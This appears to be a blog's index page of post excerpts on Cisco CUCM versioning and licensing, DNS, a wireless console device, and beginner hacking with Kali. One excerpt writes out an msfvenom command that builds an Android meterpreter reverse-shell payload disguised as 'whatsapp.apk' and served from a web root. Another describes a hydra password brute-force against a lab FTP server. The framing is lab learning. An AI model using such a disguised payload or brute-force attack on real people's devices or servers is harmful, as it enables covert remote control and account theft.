CUCM Versions and Builds

(A) Major version (License)11.5.1.10000-6(B) Minor version (Long Life Release)11.5 .1.10000-6(C) Maintenance release(Patch (Patch and/or (Patch and/or Feature)11.5.1 .10000-6(X) Build (Patch)11.5.1.1 0000-611.5.1.2 0000-5 (example)(Y) FCS:0, ES or SU: 1 911.5.1.10000-6 (FCS)11.5.1.12900-21 (ES or SU look at last three digits)(zzz) FCS:000, ES: 001 899, SU: 900 99911.5.1.10000-6 (FCS)11.5.1.11001-5 (ES) (example)11.5.1.12900-21 (SU)

CUCM License Usage & DAT

The license usage is a tricky part. If the devices are not configured properly it start consuming the wrong license and eventually you end up seeing License warning on CUCM page. I am using few images from Cisco live content in this session. CUCM License Usage Owner User ID Association is a major change you…

CUCM Smart Licensing V -12

With Version 12 we started to hear the term Smart License. What is a smart license and how it make things easier. With Smart licensing, this process is simplified to 3 steps and one tool. Once customer place an order and all the information required will be saved on central database on cisco.com, and the…

CUCM Licensing V-11&10

On version 10 and 11 we use Three Levels of Licensing . And one for Telepresence device Registration. Cisco Unified Workspace Licensing (UWL) Meetings Edition Cisco UWL Standard Edition Cisco User Connect Licensing (UCL) Telepresence Room Instead of going from the top, i prefer to discuss from the bottom. Cisco User Connect Licensing (UCL) This…

Using MSFvenom for generating Whatassp payload

By using MSFvenom, we create a payload .apk file. For this, we use the following command: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.240.161 LPORT=4444 R > /var/www/html/whatsapp.apk -p — Payload to be used LHOST — Localhost IP to receive a back connection (Check yours with ifconfig command) LPORT — Localhost port on which the connection listen for the…

Wireless Console

As a network engineer working with wired console cable is always a trouble.i was in search for a wireless console and finally i found one called Airconsole from get console.I am using the Airconsole LE model from last one year and its a good product. you can find verity of models which suites your requirement…

DNS

What is a DNS Records When a computer attempts to access any resource on the Internet, it uses a an IP address. When browsing the web, we usually type in a domain name like http://www.google.com into our browser. This is better than trying to remember an IP address linked to a Google server. The DNS…

Trying Brute Force using Kali

Loaded Kali Linux on my new Raspberry Pi 4 to start learning some hacking tools. My first brute force(dictionary) attack I decided to try it on lab FTP server. I know the username but I need to get the password for FTP server. I use hydra tool on Kali to crack the password. As I…